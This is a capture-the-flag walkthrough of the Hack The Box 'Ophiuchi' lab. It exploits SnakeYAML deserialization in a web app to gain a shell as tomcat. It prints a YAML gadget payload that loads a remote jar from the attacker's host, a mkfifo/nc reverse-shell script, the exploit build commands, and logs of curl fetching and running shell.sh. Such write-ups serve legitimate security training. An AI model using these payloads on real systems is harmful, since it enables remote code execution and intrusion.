Java Deserialization
while there are many online resources available to learn more java deserialization attack, this source breaks down the Java deserialization attack that leverages the snakeyaml Java library.
This is the testing payload and I will get to the testing right away.
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.url ["http://10.10.14.10/"]
]]
]
Sending in the testing payload while I host a web server on Kali This should test for SSRF through Java deserialization
The Kali web server got a hit from the target web app
The target web application is confirmed the be vulnerable to Java deserialization
According to the author, the sneakyaml Java library has a feature that supports a special syntax allowing the constructor of any Java class to be called when parsing YAML data
That is the reason why, upon parsing the payload, the sneakyaml Java library invoked the ScriptEngineManager
constructor and make a request to my Kali web server
It requested PARTICULARY to access the endpoint,
/META-INF/services/javax.script.ScriptEngineFactory
, the my Kali web server responded with a 404 as it’s not available
Exploit
I found this exploit to be most reliable
Initial Failure
I had to modify the payload to invoke a reverse shell since it was just a PoC by default
upon the sneakyaml java library requesting the endpoint to my kali web server, it should execute the commands above:
- downloading a bash reverse shell;
shell.sh
- changing its permission bits to be executable
- executing the reverse shell script
┌──(kali㉿kali)-[~/…/htb/labs/ophiuchi/yaml-payload]
└─$ javac src/artsploit/AwesomeScriptEngineFactory.java
picked up _java_options: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Compiling the exploit into a java class file
┌──(kali㉿kali)-[~/…/htb/labs/ophiuchi/yaml-payload]
└─$ jar -cvf yaml-payload.jar -C src/ .
picked up _java_options: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
added manifest
ignoring entry META-INF/
adding: META-INF/services/(in = 0) (out= 0)(stored 0%)
adding: META-INF/services/javax.script.ScriptEngineFactory(in = 36) (out= 38)(deflated -5%)
adding: artsploit/(in = 0) (out= 0)(stored 0%)
adding: artsploit/AwesomeScriptEngineFactory.class(in = 1718) (out= 733)(deflated 57%)
adding: artsploit/AwesomeScriptEngineFactory.java(in = 1639) (out= 432)(deflated 73%)
Packaging all together for delivery
While the Kali web server hosts both the packaged payload and the bash reverse shell, I can send in the payload
The web application will fetch the packaged payload from the Kali web server and execute it, which then downloads the bash reverse shell for a foothold
The target web application definitely fetched the payload, but it doesn’t seem to have executed it as I do not see any additional log on my Kali web server
Looking at the web server response, the application failed to execute the packaged payload and sent in a bunch of error messages instead.
In the error message, it’s written in the Root Cause section that it has failed due to the version mismatch.
the packaged payload contains a java class compiled with the class file format version
61.0
whereas the Java runtime that the web application uses in the backend recognizes versions up to the class file format version 55.0
┌──(kali㉿kali)-[~/…/htb/labs/ophiuchi/yaml-payload]
└─$ java --version
picked up _java_options: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
openjdk 17.0.5 2022-10-18
OpenJDK Runtime Environment (build 17.0.5+8-Debian-2)
OpenJDK 64-Bit Server VM (build 17.0.5+8-Debian-2, mixed mode, sharing)
Kali has openjdk 17.0.5
, which DOES NOT support class file format version 55.0
Since I do not want to make changes to my current system by downgrading it, I will attempt to set up a Docker container for this.
Docker Exploit Development
┌──(kali㉿kali)-[~/archive/htb/labs/ophiuchi]
└─$ docker run -it --entrypoint "/bin/bash" --name ophiuchi ubuntu:20.04
root@1a065664c00c:~# apt update -y ; apt install net-tools netcat gcc gcc-multilib nano git wget -y
[...REDACTED...]
I first need to spin up a Docker image to start a container. Ubuntu is a good choice as it is the most generic flavor of Linux. Once inside, I need to update & install all the necessary tools.
root@1a065664c00c:~# apt install openjdk-11-jdk -y
[...REDACTED...]
I can then proceed to install the openjdk-11-jdk
package through apt
According to Wikipedia, The openjdk-11-jdk
package installs the Java SE 11, which has the class file version 55
root@1a065664c00c:~# java --version
openjdk 11.0.18 2023-01-17
OpenJDK Runtime Environment (build 11.0.18+10-post-Ubuntu-0ubuntu120.04.1)
OpenJDK 64-Bit Server VM (build 11.0.18+10-post-Ubuntu-0ubuntu120.04.1, mixed mode, sharing)
openjdk 11.0.18
is installed to the Docker container
Everything is set. I just need to grab the exploit and go through the same process of compilation and packaging
root@1a065664c00c:~# git clone https://github.com/artsploit/yaml-payload.git ; cd yaml-payload
Cloning into 'yaml-payload'...
remote: Enumerating objects: 10, done.
remote: Total 10 (delta 0), reused 0 (delta 0), pack-reused 10
Unpacking objects: 100% (10/10), 1.34 KiB | 229.00 KiB/s, done.
Download the exploit payload
root@1a065664c00c:~/yaml-payload# nano src/artsploit/AwesomeScriptEngineFactory.java
Modify the exploit just like the initial attempt
root@1a065664c00c:~/yaml-payload# javac src/artsploit/AwesomeScriptEngineFactory.java ; jar -cvf yaml-payload.jar -C src/ .
added manifest
adding: artsploit/(in = 0) (out= 0)(stored 0%)
adding: artsploit/AwesomeScriptEngineFactory.java(in = 1632) (out= 435)(deflated 73%)
adding: artsploit/AwesomeScriptEngineFactory.class(in = 1718) (out= 728)(deflated 57%)
ignoring entry META-INF/
adding: META-INF/services/(in = 0) (out= 0)(stored 0%)
adding: META-INF/services/javax.script.ScriptEngineFactory(in = 36) (out= 38)(deflated -5%)
I then compiled the payload into a Java class file. The backend of the web app should now be able to execute it
Exploitation
root@1a065664c00c:~/yaml-payload# cd .. ; tar -czf yaml-payload.tar.gz yaml-payload
root@1a065664c00c:~# nc 172.17.0.1 2222 < yaml-payload.tar.gz
┌──(kali㉿kali)-[~/archive/htb/labs/ophiuchi]
└─$ nnc 2222 > yaml-payload.tar.gz
listening on [any] 2222 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 49912
┌──(kali㉿kali)-[~/archive/htb/labs/ophiuchi]
└─$ tar -xf yaml-payload.tar.gz ; cd yaml-payload
I archived the whole directory and move it out of the Docker container, so that I can host the payload over the Kali web server along with a reverse shell payload
┌──(kali㉿kali)-[~/archive/htb/labs/ophiuchi]
└─$ cat shell.sh
#!/bin/sh
mkfifo /tmp/ybwqpm; nc 10.10.14.10 9999 0</tmp/ybwqpm | /bin/sh >/tmp/ybwqpm 2>&1; rm /tmp/ybwqpm
┌──(kali㉿kali)-[~/archive/htb/labs/ophiuchi]
└─$ mv shell.sh yaml-payload
The reverse shell payload will be hosted from the Kali web server
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.url ["http://10.10.14.10:8000/yaml-payload.jar"]
]]
]
Delivering the payload
This time, the target web application fetched and executed the packaged payload, effectively triggering the reverse shell
┌──(kali㉿kali)-[~/…/htb/labs/ophiuchi/yaml-payload]
└─$ nnc 9999
listening on [any] 9999 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.227] 46572
whoami
tomcat
hostname
ophiuchi
ifconfig
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.10.227 netmask 255.255.255.0 broadcast 10.10.10.255
inet6 dead:beef::250:56ff:feb9:3d0d prefixlen 64 scopeid 0x0<global>
inet6 fe80::250:56ff:feb9:3d0d prefixlen 64 scopeid 0x20<link>
ether 00:50:56:b9:3d:0d txqueuelen 1000 (Ethernet)
RX packets 397 bytes 52064 (52.0 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 77 bytes 14844 (14.8 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 6276 bytes 456064 (456.0 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 6276 bytes 456064 (456.0 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
I got the shell
Initial Foothold established to the target system as the tomcat
user via Java deserialization attack.
the unstable command execution:
2023/01/06 15:37:33 CMD: UID=1001 PID=6779 | curl http://10.10.14.6:8000/shell.sh -o /var/tmp/shell.sh
2023/01/06 15:37:33 CMD: UID=1001 PID=6781 |
2023/01/06 15:37:51 CMD: UID=1001 PID=6791 |
2023/01/06 15:37:51 CMD: UID=1001 PID=6790 | curl http://10.10.14.6:8000/shell.sh -o /var/tmp/shell.sh
2023/01/06 15:37:51 CMD: UID=1001 PID=6792 | sh /var/tmp/shell.sh
2023/01/06 15:37:51 CMD: UID=1001 PID=6794 | sh /var/tmp/shell.sh
2023/01/06 15:37:51 CMD: UID=1001 PID=6796 | /bin/sh
2023/01/06 15:37:51 CMD: UID=1001 PID=6795 | nc 10.10.14.6 9999
2023/01/06 15:37:51 CMD: UID=1001 PID=6797 | rm /tmp/eivit
It turns out that the 3 Java commands above were executing one at a time instead of running all 3 at once periodically
As can be seen from the PSPY log above, it initially executed the first command to download the bash reverse shell script and saved it to /var/tmp/shell.sh
, but it stopped there instead of proceeding to the next command
Upon sending another POST request, it then cycles through whole 3 commands this time (chmod
command isn’t shown in the log because it doesn’t get logged)
I suspect that it’s probably because of the way curl handles the download in which delayed and halted the process from continuously running